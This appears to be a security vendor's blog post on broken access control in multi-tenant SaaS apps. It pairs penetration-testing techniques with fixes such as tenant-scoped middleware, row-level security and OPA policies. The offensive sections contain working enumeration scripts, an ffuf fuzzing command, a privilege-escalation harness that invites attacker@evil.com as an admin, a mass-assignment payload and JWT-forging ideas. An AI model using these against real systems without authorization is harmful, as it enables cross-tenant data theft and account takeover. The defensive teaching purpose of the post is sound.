Multi-tenant SaaS platforms promise strict separation: your data stays yours, my data stays mine, and the shared database never lets the two touch. That promise lives or dies on a single control layer, and it is the one that breaks most often. Broken access control sits at the top of the OWASP Top 10 for a reason. In SaaS specifically, it is the quiet root cause behind most "customer A could see customer B's records" headlines.
This post breaks down how broken access control actually manifests in multi-tenant applications, how a professional tester hunts for it, and what engineering fixes hold up under real attack pressure. The payloads and tooling here reflect how assessments run during a real-world SaaS penetration test, not textbook theory.
Access control answers two questions on every request: who are you (authentication), and what are you allowed to touch (authorization). Authentication in SaaS is usually solid because teams lean on mature identity providers. Authorization is where things fall apart, because it has to be enforced on every object, every endpoint, and every tenant boundary, and it is almost always hand-rolled business logic.
In a multi-tenant app, authorization carries an extra burden: tenant isolation. Even a correctly authenticated, correctly privileged user from Tenant A must never read, modify, or delete anything belonging to Tenant B. When the code trusts a client-supplied identifier instead of deriving the tenant from the session, that boundary evaporates.
The two patterns you will see again and again:
A valid user on one account reaches sideways into another account at the same privilege level. This is the classic tenant data leak. It usually rides on an object identifier in the URL, body, or header that the server never re-checks against the caller's tenant.
A low-privilege user reaches functionality meant for admins or platform operators. In SaaS this often looks like a standard member toggling an is_admin field, hitting an unlisted /admin route, or invoking a billing endpoint that only checks authentication, not role.
The failure is rarely exotic. A few recurring root causes cover the vast majority of findings:
tenant_id, org, account) instead of from the authenticated session.SELECT * FROM invoices WHERE id = ? with no AND tenant_id = ? clause.These bugs are called IDOR (Insecure Direct Object Reference) when the leak is driven by an identifier, and BOLA (Broken Object Level Authorization) in API-centric language. They are the same class of flaw viewed through two lenses.
The reliable method is a two-account test. You provision two separate tenants, capture a known-good request from Tenant A, and then replay it while authenticated as Tenant B. If Tenant B receives Tenant A's data, you have a cross-tenant break.
Start by mapping every endpoint that references an object identifier. A simple baseline request captured through a proxy looks like this:
GET /api/v2/invoices/48213 HTTP/1.1
Host: app.target-saas.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.TENANT_A_TOKEN
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
{"id":48213,"tenant_id":"acme-corp","total":"18450.00","customer":"Northwind LLC"}
[cta]
Now replay the exact same object ID, but swap in Tenant B's bearer token. If the response still returns the Acme Corp invoice instead of a 403 or 404, the object-level check is missing. During an engagement, the team at Redfox Cybersecurity scripts this comparison across hundreds of identifiers rather than testing one at a time.
Manual swapping does not scale past a handful of endpoints. A short Bash loop lets you sweep a range of object IDs with Tenant B's credentials and flag anything that returns data that should be out of reach:
#!/usr/bin/env bash
TOKEN_B="eyJhbGciOiJIUzI1NiI...TENANT_B_TOKEN"
BASE="https://app.target-saas.com/api/v2/invoices"
for id in $(seq 48000 48500); do
code=$(curl -s -o /tmp/resp.json -w "%{http_code}" \
-H "Authorization: Bearer ${TOKEN_B}" \
"${BASE}/${id}")
if [ "$code" == "200" ]; then
owner=$(jq -r '.tenant_id' /tmp/resp.json)
echo "LEAK id=${id} http=${code} tenant=${owner}"
fi
done
[cta]
Any line where tenant is not Tenant B's own identifier is a confirmed horizontal access break. This is the single highest-value check in a SaaS security assessment, and it takes minutes once both accounts are staged.
Many broken-access findings hide behind parameters the UI never exposes. Content discovery with ffuf surfaces undocumented routes and mass-assignable fields that bypass the intended flow:
ffuf -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt \
-H "Authorization: Bearer ${TOKEN_B}" \
-u "https://app.target-saas.com/api/v2/FUZZ" \
-mc 200,201,403 -ac -t 50 -o ffuf-endpoints.json
[cta]
The 403 match is deliberate. An endpoint that answers with "forbidden" confirms it exists and is reachable, which tells you where to focus deeper authorization testing next.
Horizontal testing covers tenant-to-tenant leaks. Vertical testing covers role-to-role escalation inside one tenant. The workhorse tool here is Burp Suite with the Autorize extension, which replays every request a high-privilege user makes using a low-privilege session and diffs the responses automatically.
The logic Autorize applies is simple but tedious to do by hand. You configure it with the cookie or bearer token of a standard member, browse the app as an admin, and it reports any admin action the member token could also perform. A conceptual version of that same check, written as a small Python harness, makes the idea concrete:
import requests
BASE = "https://app.target-saas.com"
LOW_PRIV = {"Authorization": "Bearer MEMBER_TOKEN"}
# Endpoints that should require an admin or owner role
privileged = [
("POST", "/api/v2/users/invite", {"email": "attacker@evil.com", "role": "admin"}),
("DELETE", "/api/v2/users/40192", None),
("PATCH", "/api/v2/billing/plan", {"plan": "enterprise"}),
("GET", "/api/v2/audit-logs", None),
]
for method, path, body in privileged:
r = requests.request(method, BASE + path, headers=LOW_PRIV, json=body, timeout=10)
verdict = "ESCALATION" if r.status_code in (200, 201, 204) else "blocked"
print(f"[{verdict}] {method} {path} -> {r.status_code}")
[cta]
Every line that prints ESCALATION is a function-level authorization failure: a standard member executing an owner-only operation. Inviting a new admin user or changing the billing plan from a member account are findings that routinely make it into a Redfox Cybersecurity report with a high or critical rating.
A subtler vertical escalation hides in object creation and update calls. If the API binds request JSON directly to a model, a user can smuggle fields the form never showed them. Sending an unexpected role or is_owner key during a profile update is the test:
PATCH /api/v2/users/me HTTP/1.1
Host: app.target-saas.com
Authorization: Bearer MEMBER_TOKEN
Content-Type: application/json
{"display_name":"Jordan","role":"owner","tenant_id":"acme-corp"}
[cta]
If the response reflects "role":"owner" or a later request confirms elevated access, the backend trusted client input for a security-critical attribute. This is why mass-assignment review belongs in every application penetration test scope rather than being left to a code linter.
Tokens are supposed to anchor identity, but they frequently carry the very tenant claim that gets abused. Decode any bearer token during testing and read what the application trusts:
echo "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI0MDE5MiIsInRlbmFudCI6ImFjbWUtY29ycCIsInJvbGUiOiJtZW1iZXIifQ.sig" \
| cut -d. -f2 | base64 -d 2>/dev/null | jq .
[cta]
If the payload exposes tenant and role in plain, forgeable form, your next tests are obvious: can the signature be stripped with an alg: none downgrade, is the signing key weak enough to brute-force with a tool like hashcat, and does the server re-verify the tenant claim against its own records on every request. A SaaS platform that reads tenant straight from a self-signed or weakly signed token hands every attacker a master key to all tenants at once.
The defensive principle is unforgiving: a token may assert who the user is, but the server must look up what that user is allowed to touch on its own authority, every single time.
Finding the flaw is half the job. Remediation that survives the next feature release is the other half. The patterns below are what hold up.
The root cause of most cross-tenant leaks is trusting a client-supplied tenant identifier. The fix is to scope every query by the tenant attached to the authenticated session, and to treat any mismatch as an attack:
# Flask-style authorization middleware
from functools import wraps
from flask import g, request, abort
def tenant_scoped(model):
def decorator(fn):
@wraps(fn)
def wrapper(obj_id, *args, **kwargs):
record = model.query.filter_by(id=obj_id).first()
if record is None:
abort(404)
# Tenant comes from the verified session (g.tenant_id),
# not from any header, body, or query parameter.
if record.tenant_id != g.tenant_id:
abort(404) # 404, not 403, to avoid confirming existence
return fn(record, *args, **kwargs)
return wrapper
return decorator
[cta]
Returning 404 rather than 403 on a tenant mismatch is deliberate: a 403 confirms the object exists and merely belongs to someone else, which still leaks information an enumerator can use. The security engineers at Redfox Cybersecurity flag that distinction in remediation guidance because it is cheap to implement and closes a real enumeration vector.
Application middleware can be bypassed by the next raw query a developer writes. Push the boundary down into the database with row-level security so isolation holds even when application code forgets:
-- PostgreSQL row-level security for tenant isolation
ALTER TABLE invoices ENABLE ROW LEVEL SECURITY;
CREATE POLICY tenant_isolation ON invoices
USING (tenant_id = current_setting('app.current_tenant')::text);
-- Set per connection, from the verified session, before any query runs
SET app.current_tenant = 'acme-corp';
[cta]
With this policy active, a query that forgets its WHERE tenant_id = ? clause still returns only the current tenant's rows. Defense in depth means the leak requires two independent mistakes instead of one.
Scattering role checks across controllers guarantees drift. A policy engine such as Open Policy Agent keeps authorization logic in one auditable place that both engineering and testers can reason about:
package authz
default allow = false
# Members read within their tenant; only owners mutate billing
allow {
input.action == "read"
input.resource.tenant_id == input.user.tenant_id
}
allow {
input.action == "write"
input.resource.type == "billing"
input.user.role == "owner"
input.resource.tenant_id == input.user.tenant_id
}
[cta]
Policy as code turns authorization into something you can unit-test and version-control, which is exactly what reviewers verify during a cloud and SaaS security engagement.
Broken access control is not a one-time fix because every new endpoint, every new object type, and every new role is a fresh chance to break isolation. The practical cadence looks like this:
Scanners catch almost none of this. IDOR and BOLA depend on understanding which object should belong to whom, and that business context is invisible to an automated crawler. Human-led testing is the only thing that reliably surfaces it, which is why manual depth is built into the way Redfox Cybersecurity scopes SaaS work. You can request current pricing and a tailored scope directly through the Redfox Cybersecurity site rather than guessing at effort.
Broken access control earns its place at the top of the OWASP list because it is simultaneously the easiest flaw to introduce and the most damaging when it ships. In a multi-tenant SaaS product the blast radius is every customer at once, and the exploit is often nothing more fancy than changing a number in a URL.
The short version of everything above:
Getting this right is the difference between a SaaS platform customers trust with their data and the next cautionary tale in a breach notification. If you want a hands-on assessment of how your tenant boundaries hold up under real attacker techniques, the team at Redfox Cybersecurity tests exactly these failure modes for a living.